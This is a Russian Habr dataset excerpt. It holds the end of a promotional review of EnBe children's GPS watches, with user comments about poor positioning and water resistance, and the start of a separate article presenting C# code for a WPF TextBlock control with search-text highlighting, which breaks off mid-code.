src="https://habrastorage.org/web/75b/00f/25a/75b00f25acaa4fcebed61ab6f8c90872.JPG"/><br/> <br/> Управление часами сенсорное. Среди дополнительных возможностей, доступных ребенку, калькулятор, управление режимами звука, смена тем и некоторые другие. Также на часах можно просмотреть последнее полученное сообщение, расписание, календарь, адресную книгу. <br/> <br/> <img src="https://habrastorage.org/web/4c6/75a/ee3/4c675aee30c94bb184ce234350ce5780.JPG"/><br/> <br/> Для удобства оба номера родителей и цифровая кнопка «SOS» дополнительно вынесены в «предменю». <br/> <br/> <img src="https://habrastorage.org/web/30f/c0e/62c/30fc0e62ced84abf91ce24119b448c4f.JPG"/><br/> <br/> Корпус часов прямоугольный, доступный в нескольких цветах. С другой стороны от кнопок располагается динамик: <br/> <br/> <img src="https://habrastorage.org/web/1bd/bb2/06d/1bdbb206de7e4516b6a9f946708014dd.JPG"/><br/> <br/> Со «стороны рта» — дырка микрофона, на этой же стороне, в ремень, интегрирован GPS-датчик: <br/> <br/> <img src="https://habrastorage.org/web/9a7/1f9/665/9a71f966556643d4ab3fb296461295b4.JPG"/><br/> <br/> Крышка открывается легко: с доступом к сим-карте проблем не будет. С тыльной стороны часов также гнездо для зарядки и датчик снятия с руки. <br/> <br/> <img src="https://habrastorage.org/web/b86/7b4/cd5/b867b4cd5285460cb24a807fd9401c90.JPG"/><br/> <br/> Заряжается модель с помощью своей док-стации. Она показалась довольно жесткой, и если закрыть ее — не проблема, то открывается она уже под усилием. <br/> <br/> <img src="https://habrastorage.org/web/1fb/07a/b4f/1fb07ab4f346428a900c79f15278ded4.JPG"/><br/> <br/> Всего же внутри коробки: гарантийный талон, инструкция, кабель для зарядки и зарядная станция. <br/> <br/> <img src="https://habrastorage.org/web/d87/db8/85d/d87db885d6554c0795060d8fe1e7898a.JPG"/><br/> <br/> Доступен выбор по цветам: <br/> <br/> <img src="https://habrastorage.org/r/w780q1/webt/ba/ca/u3/bacau31jpehg9ui-qlwzgdehpuq.jpeg" data-src="https://habrastorage.org/webt/ba/ca/u3/bacau31jpehg9ui-qlwzgdehpuq.jpeg" data-blurred="true"/><br/> <br/> <div class="spoiler"><b class="spoiler_title">Технические характеристики</b><div class="spoiler_text"><ul> <li>Материал корпуса: пластик</li> <li>Тип SIM-карты: MicroSIM</li> <li>Совместимость: ANDROID 4.0+, IOS 7+</li> <li>Тип экрана: TFT</li> <li>Диагональ: 1,22 дюйма</li> <li>Сенсорный экран: да</li> <li>Спутниковая навигация: GPS, A-GPS, LBS</li> <li>Частота GSM: 850 MHZ/900 MHZ/1800MHZ/1900 MHZ</li> <li>Датчики: датчик снятия с руки</li> <li>Поддержка Wi-Fi: да</li> <li>Поддержка Bluetooth: да</li> <li>Работа в режиме сотового телефона: да</li> <li>Встроенный динамик: да</li> <li>Встроенный микрофон: да</li> <li>Время ожидания: 72 часа</li> <li>Емкость аккумулятора: 350 мАч</li> <li>При включенном полном режиме трекинга + шагомер время работы — около 24 часов.</li> <li>Поддержка языков: русский</li> <li>Водонепроницаемость: IP65, защита от брызг воды</li> <li>Размеры: 50X40X15 мм</li> <li>Вес: 45 г</li> <li>Особенности: шагомер, расписание занятий</li> <li>Гарантия: 12 мес.</li> </ul><br/> </div></div><br/> Как итог: неплохие, стабильные часы с интервалом обновления позиции в пять минут и рядом полезных особенностей. Отметить можно наличие информационного раздела (расписание), невозможность выключить с руки, ни случайно, ни нарочно. <br/> <br/> Также стоит поставить в плюс гибкость в настройках трекинга позиции и возможность работы в режиме «часофона». Часы умеют «взаимозаменять» родителей: если, к примеру в режиме SOS папа не подходит, то EnBe автоматически звонят маме. Тоже полезно. Также нельзя не упомянуть важную особенность: чтобы часы работали корректно по времени, необходимо три-четыре раза полностью зарядить/разрядить/зарядить аккумулятор.<br/> <br/> <b>Как купить</b><br/> <br/> Сегодня часы EnBe представлены <a href="https://medgadgets.ru/shop/enbe.html?utm_source=geek&amp;utm_medium=enbe&amp;utm_campaign=enbe">двумя</a> моделями. Вторая модель, которая считается «младшей», <a href="https://medgadgets.ru/shop/enbe-enjoy-the-best.html?utm_source=geek&amp;utm_medium=enbe&amp;utm_campaign=enbe1590">не сенсорная и в целом попроще</a>.</div>
Shevev
null
null
Обычно интерес к детским часам возрастает к концу лета: к началу учебного года, однако и летом девайс может оказаться полезным. Детские лагеря, дачи, отдых у моря, где дети могут и, в общем-то, должны проявлять самостоятельность.<br> <br> <img src="https://habrastorage.org/web/0bd/bb5/c0c/0bdbb5c0c57f4b8d9ded53356066f2ff.JPG"><br> <br> Мы по старой доброй традиции устраиваем небольшую распродажу для читателей нашего блога на полезные гаджеты: сегодня это — модели детских часов EnBe.<br>
Обычно интерес к детским часам возрастает к концу лета: к началу учебного года, однако и летом девайс может оказаться полезным. Детские лагеря, дачи, отдых у моря, где дети могут и, в общем-то, должны проявлять самостоятельность. Мы по старой доброй традиции устраиваем небольшую распродажу для читателей нашего блога на полезные гаджеты: сегодня это — модели детских часов EnBe.
article
1,523,508,239
{ "commentsCount": 22, "favoritesCount": 12, "readingCount": 7159, "score": 18, "votesCount": 22, "votesCountPlus": 20, "votesCountMinus": 2 }
[]
[ "medgadgets" ]
[]
[ "Enbe", "детские часы" ]
5
null
null
{ "id": [ 18650979, 18650981, 18650983, 18650985, 18650987, 18650989, 18650991, 18650993, 18650995, 18650997, 18650999, 18651001, 18651003, 18651005, 18651007, 18651009, 18651011, 18651013, 18651015, 18651017, 18651019, 18651021 ], "parent_id": [ null, null, null, 18650983, null, 18650979, null, 18650981, null, 18650995, null, null, null, null, null, 18651007, 18651007, 18651003, 18651013, 18651015, 18651007, 18651005 ], "level": [ 0, 0, 0, 1, 0, 1, 0, 1, 0, 1, 0, 0, 0, 0, 0, 1, 1, 1, 2, 3, 1, 1 ], "time_published": [ 1523510168, 1523510542, 1523510713, 1523512682, 1523512683, 1523513823, 1523513963, 1523514648, 1523517496, 1523519822, 1523520554, 1523520939, 1523524453, 1523525859, 1523557358, 1523558861, 1523596547, 1523618163, 1523628327, 1523629353, 1523691591, 1524053704 ], "score": [ 3, 0, 0, 1, 0, 0, 1, 0, 0, 1, 0, 0, 0, 0, 3, 1, 0, 0, 0, 0, 1, 0 ], "votes": [ 3, 0, 0, 1, 0, 0, 1, 0, 0, 1, 0, 0, 0, 0, 3, 1, 0, 0, 0, 0, 1, 0 ], "message_html": [ "<div xmlns=\"http://www.w3.org/1999/xhtml\">Black Mirror S04E02</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">&lt;sarcasm_on>Да давайте ещё побольше гаджетов на ребенка навесим, чтоб он вообще никуда не убежал. И будем мониторить его действия и вмешиваться в его жизнь...&lt;sarcasm_off></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Влагозащищенности никакой нет… А это ребенок. Неаккуратно помыл руки, попал под дождь, играл в снежки (расстаял снег) — нет часов.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Ну у них заявлено IP65. Нагло врут?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Еще одна из основных проблем подобных часов (после влагозащищенности) — это качество определения локации по GPS, скорость поиска спутников. А еще по личному опыту подобные часы (из дешевых) создают значительные помехи для компьютерной акустики, чего я уже давно не наблюдал от современных смартфонов. Отсюда вопрос к безопасности для здоровья, тем более что ребенок их носит постоянно прямо на руке.<br/>\r\nХотелось бы видеть исследование этих вопросов в вашей статье. А сейчас это скучная реклама.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Я сначала подумал это модель дешевого аналога.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">За белый шрифт на желтом фоне хочется убить дизайнера.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Проще гирю к ноге привязать. Экономнее будет.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">А может ли ребенок сам делать звонки с этих часов? Если да, то на сколько номеров и как? Интернет 2G, 3G, 4G? Есть ли модель с камерой? На сколько хватает аккумулятора?<br/>\r\nСын (7 лет) просит такие часы уже с нового года и не как не могу подобрать хорошие с реальным трекингом (для родителей) и хорошим функционалом (для ребенка). Если кто подскажет, буду благодарен</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Первое и самое главное — при самостоятельном заказе за рупь ежом можно получить срок.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Какова точность позиционирования у этих часов? В характеристиках указан Wi-Fi — по нему определяется местоположение?<br/>\r\nКабель для зарядки продаётся отдельно не по конской цене?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Время автономной работы какое? И насколько ребенок 7-8 лет сам сможет их заряжать (жесткая докстанция)?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">UFO just landed and posted this here</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">UFO just landed and posted this here</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Напишу и я немного про эти часы. Повелся на описание и купил их ребенку в феврале на день рождения, тем более он сам хотел умные часы. Ребенку 10 лет. Так вот, в общем, сначала мне все понравилось, не смотря на муторность первоначальной настройки этих часов. По мере того как ребенок пользовался часами, а мы с женой пытались насладиться полным контролем над тем где ребенок и чем занят, становилось все грустнее и грустнее. А теперь непосредственно о недостатках:<br/>\r\n1. Как говорилось выше, это совершенно никакое позиционирование. От школы до дому идти примерно 800 метров, так вот позиционирование тычет пальцем в радиусе 500 метров, иногда больше. На третий день после покупки, лежу на кровати и читаю хабр, и тут жена подрывается как по тревоге и начинает одеваться. На вопрос что случилось, она в панике заявляет что ребенок ушел мимо нашего поворота и ушел почти на два квартала в другом направлении. Пока я пытался её успокоить и одеться сам, в домофон позвонил сын ))).<br/>\r\n2. Телефонная книга бред, можно сохранить 10 номеров, но без описания, то есть только номера. И как скажите ребенку понять где чей номер?<br/>\r\n3. Кнопка SOS. В SOS часов я вбил свой номер, и хорошо что не жены, ибо звонок SOS звучал в течении дня с десяток раз, каждый раз как ребенок случайно рукавом задевал кнопку SOS на телефоне. На совещаниях с руководством было очень стыдно. Пришлось выключить эту функцию.<br/>\r\n4. Антенна часов находится в ремешке, так вот примерно через неделю ремешок начал расслаиваться, а я не сразу заметил. Чудом антенна не повредилась. Клеил долго подбирая клей (резина жирная), в итоге победил только дихлорэтаном.<br/>\r\n5. Кто то писал выше про влагостойкость и IP65. Так вот, ни тем и не другим даже близко не пахнет.<br/>\r\n6. Управление через тачскрин тоже не продуманное, при пролистывании пунктов меню постоянно попадаешь не туда, и приходиться начинать сначала. <br/>\r\n7. И еще какие то странности с батареей. То полной зарядки хватает на пару дней, а то часы разряжаются за пол дня. Причину пока не понял. Было подозрение что из-за холода, но версию отмел по причине того, что батарея прилегает к руке и не должна особо замерзать под рукавом куртки. Сейчас на много теплее, а глюк с батареей продолжается (((<br/>\r\n<br/>\r\nВот основные недостатки, есть еще по мелочи, но в общем картина думаю ясна. Есть предположение что подобные недостатки практически у всех подобных гаджетов из ценовой категории до 10 т. р. За эти часы я отдал около 5 т.р. в нашем DNS технопоинте.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Спасибо, чуть не купил.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Да-уж. Проблемы все те-же что и у часов за 1500р.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Датчик снятия с руки — и родителям летит пуш.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">UFO just landed and posted this here</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Паникуют, звонят на часы, не дозваниваются (у продвинутых моделей есть функция удалённого звонка и фотографирования), идут на место последнего позиционирования и ищут, попутно звоня в полицию или 112.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Поддерживаю, ребенок попользовался месяца 2 и забросил. <br/>\r\nТочность позиционирования никакая, если в школе на перемене выбежал на улицу то только тогда можно было узнать что он действительно там.<br/>\r\nПравда понравилась функция скрытого звонка.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Сам себе повешу такие часы на старости лет. А у молодых сейчас один аккаунт на семью и функция «найти телефон». Следи — не хочу. От близких людей у меня секретов нет — на то они и близкие. Отличие взрослого человека, от ребенка в том, что взрослый умом понимает что ошибки совершать не нужно, а ребенок еще не понимает и надеется что все в итоге обойдется. А вредные взрослые не дают им делать то, что хочется из-за «мифических последствий».</div>" ], "message_markdown": [ "Black Mirror S04E02", "<sarcasm_on>Да давайте ещё побольше гаджетов на ребенка навесим, чтоб он вообще никуда не убежал. И будем мониторить его действия и вмешиваться в его жизнь...<sarcasm_off>", "Влагозащищенности никакой нет... А это ребенок. Неаккуратно помыл руки, попал под дождь, играл в снежки (расстаял снег) — нет часов.", "Ну у них заявлено IP65. Нагло врут?", "Еще одна из основных проблем подобных часов (после влагозащищенности) — это качество определения локации по GPS, скорость поиска спутников. А еще по личному опыту подобные часы (из дешевых) создают значительные помехи для компьютерной акустики, чего я уже давно не наблюдал от современных смартфонов. Отсюда вопрос к безопасности для здоровья, тем более что ребенок их носит постоянно прямо на руке.\nХотелось бы видеть исследование этих вопросов в вашей статье. А сейчас это скучная реклама.", "Я сначала подумал это модель дешевого аналога.", "За белый шрифт на желтом фоне хочется убить дизайнера.", "Проще гирю к ноге привязать. Экономнее будет.", "А может ли ребенок сам делать звонки с этих часов? Если да, то на сколько номеров и как? Интернет 2G, 3G, 4G? Есть ли модель с камерой? На сколько хватает аккумулятора?\nСын (7 лет) просит такие часы уже с нового года и не как не могу подобрать хорошие с реальным трекингом (для родителей) и хорошим функционалом (для ребенка). Если кто подскажет, буду благодарен", "Первое и самое главное — при самостоятельном заказе за рупь ежом можно получить срок.", "Какова точность позиционирования у этих часов? В характеристиках указан Wi-Fi — по нему определяется местоположение?\nКабель для зарядки продаётся отдельно не по конской цене?", "Время автономной работы какое? И насколько ребенок 7-8 лет сам сможет их заряжать (жесткая докстанция)?", "UFO just landed and posted this here", "UFO just landed and posted this here", "Напишу и я немного про эти часы. Повелся на описание и купил их ребенку в феврале на день рождения, тем более он сам хотел умные часы. Ребенку 10 лет. Так вот, в общем, сначала мне все понравилось, не смотря на муторность первоначальной настройки этих часов. По мере того как ребенок пользовался часами, а мы с женой пытались насладиться полным контролем над тем где ребенок и чем занят, становилось все грустнее и грустнее. А теперь непосредственно о недостатках:\n1\\. Как говорилось выше, это совершенно никакое позиционирование. От школы до дому идти примерно 800 метров, так вот позиционирование тычет пальцем в радиусе 500 метров, иногда больше. На третий день после покупки, лежу на кровати и читаю хабр, и тут жена подрывается как по тревоге и начинает одеваться. На вопрос что случилось, она в панике заявляет что ребенок ушел мимо нашего поворота и ушел почти на два квартала в другом направлении. Пока я пытался её успокоить и одеться сам, в домофон позвонил сын ))).\n2\\. Телефонная книга бред, можно сохранить 10 номеров, но без описания, то есть только номера. И как скажите ребенку понять где чей номер?\n3\\. Кнопка SOS. В SOS часов я вбил свой номер, и хорошо что не жены, ибо звонок SOS звучал в течении дня с десяток раз, каждый раз как ребенок случайно рукавом задевал кнопку SOS на телефоне. На совещаниях с руководством было очень стыдно. Пришлось выключить эту функцию.\n4\\. Антенна часов находится в ремешке, так вот примерно через неделю ремешок начал расслаиваться, а я не сразу заметил. Чудом антенна не повредилась. Клеил долго подбирая клей (резина жирная), в итоге победил только дихлорэтаном.\n5\\. Кто то писал выше про влагостойкость и IP65. Так вот, ни тем и не другим даже близко не пахнет.\n6\\. Управление через тачскрин тоже не продуманное, при пролистывании пунктов меню постоянно попадаешь не туда, и приходиться начинать сначала.\n7\\. И еще какие то странности с батареей. То полной зарядки хватает на пару дней, а то часы разряжаются за пол дня. Причину пока не понял. Было подозрение что из-за холода, но версию отмел по причине того, что батарея прилегает к руке и не должна особо замерзать под рукавом куртки. Сейчас на много теплее, а глюк с батареей продолжается (((\nВот основные недостатки, есть еще по мелочи, но в общем картина думаю ясна. Есть предположение что подобные недостатки практически у всех подобных гаджетов из ценовой категории до 10 т. р. За эти часы я отдал около 5 т.р. в нашем DNS технопоинте.", "Спасибо, чуть не купил.", "Да-уж. Проблемы все те-же что и у часов за 1500р.", "Датчик снятия с руки — и родителям летит пуш.", "UFO just landed and posted this here", "Паникуют, звонят на часы, не дозваниваются (у продвинутых моделей есть функция удалённого звонка и фотографирования), идут на место последнего позиционирования и ищут, попутно звоня в полицию или 112.", "Поддерживаю, ребенок попользовался месяца 2 и забросил.\nТочность позиционирования никакая, если в школе на перемене выбежал на улицу то только тогда можно было узнать что он действительно там.\nПравда понравилась функция скрытого звонка.", "Сам себе повешу такие часы на старости лет. А у молодых сейчас один аккаунт на семью и функция «найти телефон». Следи — не хочу. От близких людей у меня секретов нет — на то они и близкие. Отличие взрослого человека, от ребенка в том, что взрослый умом понимает что ошибки совершать не нужно, а ребенок еще не понимает и надеется что все в итоге обойдется. А вредные взрослые не дают им делать то, что хочется из-за «мифических последствий»." ], "author": [ "pumpdump", "wiwrel", "Алексей Рожанков (arozhankov)", "Александр Симченко (shedir)", "mwaso", "velovich", "Василий (HectorPrima)", "Алексей (WildHorn)", "Alsandr7", "jrthwk", "Марат Гусманов (LoadRunner)", "safari2012", "{}", "{}", "Сергей (SeyranGV)", "vazir", "mwaso", "Марат Гусманов (LoadRunner)", "{}", "Марат Гусманов (LoadRunner)", "nikee", "u010602" ], "children": [ [ 18650989 ], [ 18650993 ], [ 18650985 ], [], [], [], [], [], [ 18650997 ], [], [], [], [ 18651013 ], [ 18651021 ], [ 18651009, 18651011, 18651019 ], [], [], [ 18651015 ], [ 18651017 ], [], [], [] ] }
314,060
ru
https://habr.com/ru/post/314060/
TextBlock с подсветкой текста (WPF)
Привет Хабр! Я создал контрол на основе TextBlock с возможностью подсветки текста. Для начала приведу пример его использования, затем опишу, как он создавался. Пример использования контрола [code] <local:HighlightTextBlock TextWrapping="Wrap"> <local:HighlightTextBlock.HighlightRules> <local:HighlightRule HightlightedText="{Binding Filter, Source={x:Reference thisWindow}}"> <local:HighlightRule.Highlights> <local:HighlightBackgroung Brush="Yellow"/> <local:HighlightForeground Brush="Black"/> </local:HighlightRule.Highlights> </local:HighlightRule> </local:HighlightTextBlock.HighlightRules> <Run FontWeight="Bold">Property:</Run> <Run Text="{Binding Property}"/> </local:HighlightTextBlock> [/code] ### Начало разработки Потребовалось мне подсветить текст в TextBlock, введенный в строку поиска. На первый взгляд задача показалась простой. Пришло в голову разделить текст на 3 элемента Run, которые бы передавали в конвертер весь текст, строку поиска и свое положение (1/2/3). Средний Run имеет Backgroung. Не успел я приступить к реализации, как пришла в голову мысль, что совпадений может быть несколько. А значит такой подход не подходит. Была еще мысль формировать Xaml «на лету», парсить его при помощи XamlReader и кидать в TextBlock. Но эта мысль тоже сразу отвалилась, потому что попахивает. Следующей (и окончательной) идеей стало создать систему правил подсветки и прикрутить ее к TextBlock. Тут 2 варианта: свой контрол с блэкджеком и девочками на основе TextBlock или AttachedProperty. После недолгих раздумий, я решил, что все таки лучше создать отдельный контрол, потому что функционал подсветки может наложить некоторые ограничения на функциональность самого TextBlock, а разруливать это проще, если от него унаследоваться. ### Исходники готового контрола Итак, приступим. Сразу предупрежу, что контрол я делал в том же проекте, где собирался тестировать первую идею, поэтому не обращайте внимание на неймспейсы. До ума такие вещи я доведу уже, когда буду включать контрол в основной проект (или буду выкладывать на гитхаб). В Xaml разметке контрола все чисто, за исключением обработчика события Loaded [code] <TextBlock x:Class="WpfApplication18.HighlightTextBlock" xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" Loaded="TextBlock_Loaded"> </TextBlock> [/code] Переходим к коду: Заголовок спойлера [code] public partial class HighlightTextBlock : TextBlock { // Здесь сохраняется сериализованное оригинальное наполнение TextBlock // (подсветка накладывается на оригинал и потом уже подставляется в TextBlock) string _content; // Это словарь для правил подсветки и соответствующих им очередей задач Dictionary<HighlightRule, TaskQueue> _ruleTasks; /// <summary> /// Коллекция правил подсветки /// </summary> public HighlightRulesCollection HighlightRules { get { return (HighlightRulesCollection)GetValue(HighlightRulesProperty); } set { SetValue(HighlightRulesProperty, value); } } public static readonly DependencyProperty HighlightRulesProperty = DependencyProperty.Register("HighlightRules", typeof(HighlightRulesCollection), typeof(HighlightTextBlock), new FrameworkPropertyMetadata(null) { PropertyChangedCallback = HighlightRulesChanged }); static void HighlightRulesChanged(DependencyObject sender, DependencyPropertyChangedEventArgs e) { var col = e.NewValue as HighlightRulesCollection; var tb = sender as HighlightTextBlock; if (col != null && tb != null) { col.CollectionChanged += tb.HighlightRules_CollectionChanged; foreach (var rule in col) { rule.HighlightTextChanged += tb.Rule_HighlightTextChanged; } } } public HighlightTextBlock() { _ruleTasks = new Dictionary<HighlightRule, TaskQueue>(); HighlightRules = new HighlightRulesCollection(); InitializeComponent(); } // Обработчик события на изменение коллекции правил подсветки void HighlightRules_CollectionChanged(object sender, System.Collections.Specialized.NotifyCollectionChangedEventArgs e) { switch (e.Action) { case System.Collections.Specialized.NotifyCollectionChangedAction.Add: foreach (HighlightRule rule in e.NewItems) { _ruleTasks.Add(rule, new TaskQueue(1)); SubscribeRuleNotifies(rule); BeginHighlight(rule); } break; case System.Collections.Specialized.NotifyCollectionChangedAction.Remove: foreach (HighlightRule rule in e.OldItems) { rule.HightlightedText = string.Empty; _ruleTasks.Remove(rule); UnsubscribeRuleNotifies(rule); } break; case System.Collections.Specialized.NotifyCollectionChangedAction.Reset: foreach (HighlightRule rule in e.OldItems) { rule.HightlightedText = string.Empty; _ruleTasks.Remove(rule); UnsubscribeRuleNotifies(rule); } break; } } // Подписка на события правила подсветки void SubscribeRuleNotifies(HighlightRule rule) { rule.HighlightTextChanged += Rule_HighlightTextChanged; } // Отписка от событий правила подсветки void UnsubscribeRuleNotifies(HighlightRule rule) { rule.HighlightTextChanged -= Rule_HighlightTextChanged; } // Обработчик события, которое срабатывает, когда текст для подсветки изменился void Rule_HighlightTextChanged(object sender, HighlightTextChangedEventArgs e) { BeginHighlight((HighlightRule)sender); } // Здесь запускается механизм подсвечивания в созданном мною диспетчере задач. // Смысл в том, что если текст вводится/стирается слишком быстро, // предыдущая подсветка не успеет закончить работу, поэтому новая подсветка // добавляется в очередь. Если в очереди уже что то есть, то это удаляется из очереди // и вставляется новая задача. Для каждого правила очередь своя. void BeginHighlight(HighlightRule rule) { _ruleTasks[rule].Add(new Action(() => Highlight(rule))); } // Механизм подсветки void Highlight(HighlightRule rule) { // Если передали не существующее правило, покидаем процедуру if (rule == null) return; // Так как правила у нас задаются в Xaml коде, они будут принадлежать основному потоку, в котором крутится форма, // поэтому некоторые свойства можно достать/положить только таким образом ObservableCollection<Highlight> highlights = null; Application.Current.Dispatcher.Invoke(new ThreadStart(() => { highlights = rule.Highlights; })); // Даже если существует правило, но в нем не задано, чем подсвечивать, покидаем процедуру подсветки if (highlights.Count == 0) return; // Еще ряд условий для выхода из процедуры подсветки var exitFlag = false; exitFlag = exitFlag || string.IsNullOrWhiteSpace(_content); Application.Current.Dispatcher.Invoke(new ThreadStart(() => { exitFlag = exitFlag || Inlines.IsReadOnly || Inlines.Count == 0 || HighlightRules == null || HighlightRules.Count == 0; })); if (exitFlag) return; // Создадим параграф. Все манипуляции будем проводить внутри него, потому что выделить что либо // непосредственно в TextBlock нельзя, если это выделение затрагивает несколько элементов var par = new Paragraph(); // Парсим _content, в котором у нас сериализованный Span с оригинальным содержимым TextBlock'a. var parsedSp = (Span)XamlReader.Parse(_content); // Сам Span нам не нужен, поэтому сливаем все его содержимое в параграф par.Inlines.AddRange(parsedSp.Inlines.ToArray()); // Обозначаем стартовую позицию (просто для удобства) и выдергиваем из TextBlock'a голый текст. // Искать вхождения искомой строки будем именно в нем var firstPos = par.ContentStart; var curText = string.Empty; Application.Current.Dispatcher.Invoke(new ThreadStart(() => { curText = Text; })); // Выдергиваем из основного потока текст для подсветки var hlText = string.Empty; Application.Current.Dispatcher.Invoke(new ThreadStart(() => { hlText = rule.HightlightedText; })); // Если текст для подсветки не пустой и его длина не превышает длину текста, в котором ищем, // то продолжим, иначе просто выведем в конце оригинал if (!string.IsNullOrEmpty(hlText) && hlText.Length <= curText.Length) { // Выдергиваем в основном потоке из правила свойство IgnoreCase. // Решил логику оставиьт в основном потоке, потому что нагрузка операции очень низкая // и не стоит моего пота :) var comparison = StringComparison.CurrentCulture; Application.Current.Dispatcher.Invoke(new ThreadStart(() => { comparison = rule.IgnoreCase ? StringComparison.CurrentCultureIgnoreCase : StringComparison.CurrentCulture; })); // Формируем список индексов, откуда начинаются вхождения искомой строки в тексте var indexes = new List<int>(); var ind = curText.IndexOf(hlText, comparison); while (ind > -1) { indexes.Add(ind); ind = curText.IndexOf(hlText, ind + hlText.Length, StringComparison.CurrentCultureIgnoreCase); } TextPointer lastEndPosition = null; // Проходим по всем индексам начала вхождения строки поиска в текст foreach (var index in indexes) { // Эта переменная нужна была в моих соисканиях наилучшего места для начала поиска, // ведь индекс положения в string не соответствует реальному положению TextPointer'a. // Поиск продолжается, поэтому переменную я оставил. var curIndex = index; // Начинаем поиск с последней найденной позиции либо перемещаем TextPointer вперед // на значение, равное индексу вхождения подстроки в текст var pstart = lastEndPosition ?? firstPos.GetInsertionPosition(LogicalDirection.Forward).GetPositionAtOffset(curIndex); // startInd является длиной текста между начальным TextPointer и текущей точкой начала подсветки var startInd = new TextRange(pstart, firstPos.GetInsertionPosition(LogicalDirection.Forward)).Text.Length; // В результате нам нужно, чтобы startInd был равен curIndex while (startInd != curIndex) { // Если честно, мне неще не встречались случаи, когда я обгонял startInd обгонял curIndex, однако // решил оставить продвижение назад на случай более оптимизированного алгоритма поиска if (startInd < curIndex) { // Смещаем точку начала подсветки на разницу curIndex - startInd var newpstart = pstart.GetPositionAtOffset(curIndex - startInd); // Иногда TextPointer оказывается между \r и \n, в этом случае начало подсветки // сдвигается вперед. Чтобы этого избежать, двигаем его в следующую позицию для вставки if (newpstart.GetPointerContext(LogicalDirection.Forward) == TextPointerContext.ElementEnd) newpstart = newpstart.GetInsertionPosition(LogicalDirection.Forward); var len = new TextRange(pstart, newpstart).Text.Length; startInd += len; pstart = newpstart; } else { var newpstart = pstart.GetPositionAtOffset(curIndex - startInd); var len = new TextRange(pstart, newpstart).Text.Length; startInd -= len; pstart = newpstart; } } // Ищем конечную точку подсветки аналогичным способом, как для начальной var pend = pstart.GetPositionAtOffset(hlText.Length); var delta = new TextRange(pstart, pend).Text.Length; while (delta != hlText.Length) { if (delta < hlText.Length) { var newpend = pend.GetPositionAtOffset(hlText.Length - delta); var len = new TextRange(pend, newpend).Text.Length; delta += len; pend = newpend; } else { var newpend = pend.GetPositionAtOffset(hlText.Length - delta); var len = new TextRange(pend, newpend).Text.Length; delta -= len; pend = newpend; } } // К сожалению, предложенным способом не получается разделить Hyperlink. // Скорее всего это придется делать вручную, но пока такой необходимости нет, // поэтому, если начальной или конечной частью подсветки мы режем гиперссылку, // то просто сдвигаем эти позиции. В общем ссылка либо полностью попадает в подсветку, // либо не попадает совсем var sHyp = (pstart?.Parent as Inline)?.Parent as Hyperlink; var eHyp = (pend?.Parent as Inline)?.Parent as Hyperlink; if (sHyp != null) pstart = pstart.GetNextContextPosition(LogicalDirection.Forward); if (eHyp != null) pend = pend.GetNextContextPosition(LogicalDirection.Backward); // Ну а тут применяем к выделению подсветки. if (pstart.GetOffsetToPosition(pend) > 0) { var sp = new Span(pstart, pend); foreach (var hl in highlights) hl.SetHighlight(sp); } lastEndPosition = pend; } } // Здесь сериализуем получившийся параграф и в основном потоке помещаем его содержимое в TextBlock var parStr = XamlWriter.Save(par); Application.Current.Dispatcher.BeginInvoke(new ThreadStart(() => { Inlines.Clear(); Inlines.AddRange(((Paragraph)XamlReader.Parse(parStr)).Inlines.ToArray()); })).Wait(); } void TextBlock_Loaded(object sender, RoutedEventArgs e) { // Здесь дергаем наполнение TextBlock'a и сериализуем его в строку, // чтобы накатывать подсветку всегда на оригинал. // Это лучше вынести в отдельный поток, но пока и так сойдет. var sp = new Span(); sp.Inlines.AddRange(Inlines.ToArray()); var tr = new TextRange(sp.ContentStart, sp.ContentEnd); using (var stream = new MemoryStream()) { tr.Save(stream, DataFormats.Xaml); stream.Position = 0; using(var reader = new StreamReader(stream)) { _content = reader.ReadToEnd(); } } Inlines.AddRange(sp.Inlines.ToArray()); // Запускаем подсветку для всех правил foreach (var rule in HighlightRules) BeginHighlight(rule); } } [/code] Я не буду здесь описывать код, потому что комментарии, на мой взгляд, избыточны. Вот код очереди задач: Заголовок спойлера [code] public class TaskQueue { Task _worker; Queue<Action> _queue; int _maxTasks; bool _deleteOld; object _lock = new object(); public TaskQueue(int maxTasks, bool deleteOld = true) { if (maxTasks < 1) throw new ArgumentException("TaskQueue: максимальное число задач должно быть больше 0"); _maxTasks = maxTasks; _deleteOld = deleteOld; _queue = new Queue<Action>(maxTasks); } public bool Add(Action action) { if (_queue.Count() < _maxTasks) { _queue.Enqueue(action); DoWorkAsync(); return true; } if (_deleteOld) { _queue.Dequeue(); return Add(action); } return false; } void DoWorkAsync() { if(_queue.Count>0) _worker = Task.Factory.StartNew(DoWork); } void DoWork() { lock (_lock) { if (_queue.Count > 0) { var currentTask = Task.Factory.StartNew(_queue.Dequeue()); currentTask.Wait(); DoWorkAsync(); } } } } [/code] Здесь все довольно просто. Поступает новая задача. Если в очереди есть место, то она помещается в очередь. Иначе, если поле _deleteOld == true, то удаляем следующую задачу (наиболее позднюю) и помещаем новую, иначе возвращаем false (задача не добавлена). Вот код коллекции правил. По идее, можно было обойтись ObservableCollection, но от этой коллекции в дальнейшем может потребоваться дополнительный функционал. Заголовок спойлера [code] public class HighlightRulesCollection : DependencyObject, INotifyCollectionChanged, ICollectionViewFactory, IList, IList<HighlightRule> { ObservableCollection<HighlightRule> _items; public HighlightRulesCollection() { _items = new 